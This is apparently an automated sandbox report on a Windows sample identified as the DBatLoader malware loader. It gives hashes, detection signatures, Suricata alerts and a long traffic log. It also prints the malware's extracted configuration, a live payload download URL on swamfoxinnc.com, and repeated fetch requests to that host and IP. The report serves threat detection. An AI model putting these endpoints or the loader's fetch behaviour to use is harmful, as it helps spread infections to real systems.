Edit tour

Windows Analysis Report
spoolsv.COM.exe

Overview

General Information

Sample name:	spoolsv.COM.exe
Analysis ID:	1579692
MD5:	dfd15a4158ab979660435d6f3e95a3ec
SHA1:	6d5566cddfb4b99e82a6babdbd4536a24e8f6f73
SHA256:	baa12b649fddd77ef62ecd2b3169fab9bb5fbe78404175485f9a7fb48dc4456d
Tags:	exeuser-xme
Infos:

Detection

DBatLoader

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected DBatLoader

AI detected suspicious sample

Allocates many large memory junks

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

spoolsv.COM.exe (PID: 7596 cmdline: "C:\Users\user\Desktop\spoolsv.COM.exe" MD5: DFD15A4158AB979660435D6F3E95A3EC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://swamfoxinnc.com/233_Svcrhpjadgy"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2514939063.0000000002286000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000005.00000003.1272909901.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000005.00000002.2531784448.000000007FC80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.spoolsv.COM.exe.2b20000.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:37:40.359466+0100	2028371	3	Unknown Traffic	192.168.2.10	49701	176.123.5.143	443	TCP
2024-12-23T07:37:43.690393+0100	2028371	3	Unknown Traffic	192.168.2.10	49704	176.123.5.143	443	TCP
2024-12-23T07:37:47.061424+0100	2028371	3	Unknown Traffic	192.168.2.10	49711	176.123.5.143	443	TCP
2024-12-23T07:37:50.554677+0100	2028371	3	Unknown Traffic	192.168.2.10	49723	176.123.5.143	443	TCP
2024-12-23T07:37:54.406026+0100	2028371	3	Unknown Traffic	192.168.2.10	49735	176.123.5.143	443	TCP
2024-12-23T07:37:57.893612+0100	2028371	3	Unknown Traffic	192.168.2.10	49744	176.123.5.143	443	TCP
2024-12-23T07:38:01.333205+0100	2028371	3	Unknown Traffic	192.168.2.10	49756	176.123.5.143	443	TCP
2024-12-23T07:38:04.743917+0100	2028371	3	Unknown Traffic	192.168.2.10	49763	176.123.5.143	443	TCP
2024-12-23T07:38:08.112094+0100	2028371	3	Unknown Traffic	192.168.2.10	49775	176.123.5.143	443	TCP
2024-12-23T07:38:11.485345+0100	2028371	3	Unknown Traffic	192.168.2.10	49786	176.123.5.143	443	TCP
2024-12-23T07:38:14.889619+0100	2028371	3	Unknown Traffic	192.168.2.10	49794	176.123.5.143	443	TCP
2024-12-23T07:38:18.261307+0100	2028371	3	Unknown Traffic	192.168.2.10	49805	176.123.5.143	443	TCP
2024-12-23T07:38:21.649788+0100	2028371	3	Unknown Traffic	192.168.2.10	49813	176.123.5.143	443	TCP
2024-12-23T07:38:25.149958+0100	2028371	3	Unknown Traffic	192.168.2.10	49825	176.123.5.143	443	TCP
2024-12-23T07:38:28.698981+0100	2028371	3	Unknown Traffic	192.168.2.10	49833	176.123.5.143	443	TCP
2024-12-23T07:38:32.191400+0100	2028371	3	Unknown Traffic	192.168.2.10	49844	176.123.5.143	443	TCP
2024-12-23T07:38:35.587388+0100	2028371	3	Unknown Traffic	192.168.2.10	49855	176.123.5.143	443	TCP
2024-12-23T07:38:38.998362+0100	2028371	3	Unknown Traffic	192.168.2.10	49864	176.123.5.143	443	TCP
2024-12-23T07:38:42.500005+0100	2028371	3	Unknown Traffic	192.168.2.10	49875	176.123.5.143	443	TCP
2024-12-23T07:38:46.128701+0100	2028371	3	Unknown Traffic	192.168.2.10	49883	176.123.5.143	443	TCP
2024-12-23T07:38:49.522196+0100	2028371	3	Unknown Traffic	192.168.2.10	49894	176.123.5.143	443	TCP
2024-12-23T07:38:52.969121+0100	2028371	3	Unknown Traffic	192.168.2.10	49904	176.123.5.143	443	TCP
2024-12-23T07:38:56.370320+0100	2028371	3	Unknown Traffic	192.168.2.10	49913	176.123.5.143	443	TCP
2024-12-23T07:38:59.775032+0100	2028371	3	Unknown Traffic	192.168.2.10	49924	176.123.5.143	443	TCP
2024-12-23T07:39:03.297310+0100	2028371	3	Unknown Traffic	192.168.2.10	49932	176.123.5.143	443	TCP
2024-12-23T07:39:06.717185+0100	2028371	3	Unknown Traffic	192.168.2.10	49944	176.123.5.143	443	TCP
2024-12-23T07:39:10.119202+0100	2028371	3	Unknown Traffic	192.168.2.10	49951	176.123.5.143	443	TCP
2024-12-23T07:39:13.652984+0100	2028371	3	Unknown Traffic	192.168.2.10	49963	176.123.5.143	443	TCP
2024-12-23T07:39:17.179009+0100	2028371	3	Unknown Traffic	192.168.2.10	49973	176.123.5.143	443	TCP
2024-12-23T07:39:20.613727+0100	2028371	3	Unknown Traffic	192.168.2.10	49982	176.123.5.143	443	TCP
2024-12-23T07:39:24.058034+0100	2028371	3	Unknown Traffic	192.168.2.10	49994	176.123.5.143	443	TCP
2024-12-23T07:39:27.700295+0100	2028371	3	Unknown Traffic	192.168.2.10	50001	176.123.5.143	443	TCP
2024-12-23T07:39:31.110620+0100	2028371	3	Unknown Traffic	192.168.2.10	50012	176.123.5.143	443	TCP
2024-12-23T07:39:34.510112+0100	2028371	3	Unknown Traffic	192.168.2.10	50023	176.123.5.143	443	TCP
2024-12-23T07:39:38.189131+0100	2028371	3	Unknown Traffic	192.168.2.10	50031	176.123.5.143	443	TCP
2024-12-23T07:39:41.818166+0100	2028371	3	Unknown Traffic	192.168.2.10	50042	176.123.5.143	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: spoolsv.COM.exe

Avira: detected

Found malware configuration

Source: spoolsv.COM.exe

Malware Configuration Extractor: DBatLoader {"Download Url": ["https://swamfoxinnc.com/233_Svcrhpjadgy"]}

Multi AV Scanner detection for submitted file

Source: spoolsv.COM.exe	Virustotal: Detection: 74%			Perma Link
Source: spoolsv.COM.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: spoolsv.COM.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 176.123.5.143:443 -> 192.168.2.10:50042 version: TLS 1.2

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B258B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

5_2_02B258B4

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://swamfoxinnc.com/233_Svcrhpjadgy

Source: C:\Users\user\Desktop\spoolsv.COM.exe

Code function: 5_2_02B3E2F8 InternetCheckConnectionA,

5_2_02B3E2F8

Source: Joe Sandbox View

ASN Name: ALEXHOSTMD ALEXHOSTMD

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49704 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49711 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49701 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49775 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49744 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49813 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49723 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49756 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49786 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49825 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49844 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49735 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49875 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49864 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49763 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49855 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49883 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49894 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49944 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49904 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49951 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49963 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49794 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49924 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50023 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49805 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49973 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50012 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49913 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49932 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49982 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50042 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49994 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50001 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50031 -> 176.123.5.143:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49833 -> 176.123.5.143:443

Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
Source: global traffic	HTTP traffic detected: GET /233_Svcrhpjadgy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: swamfoxinnc.com
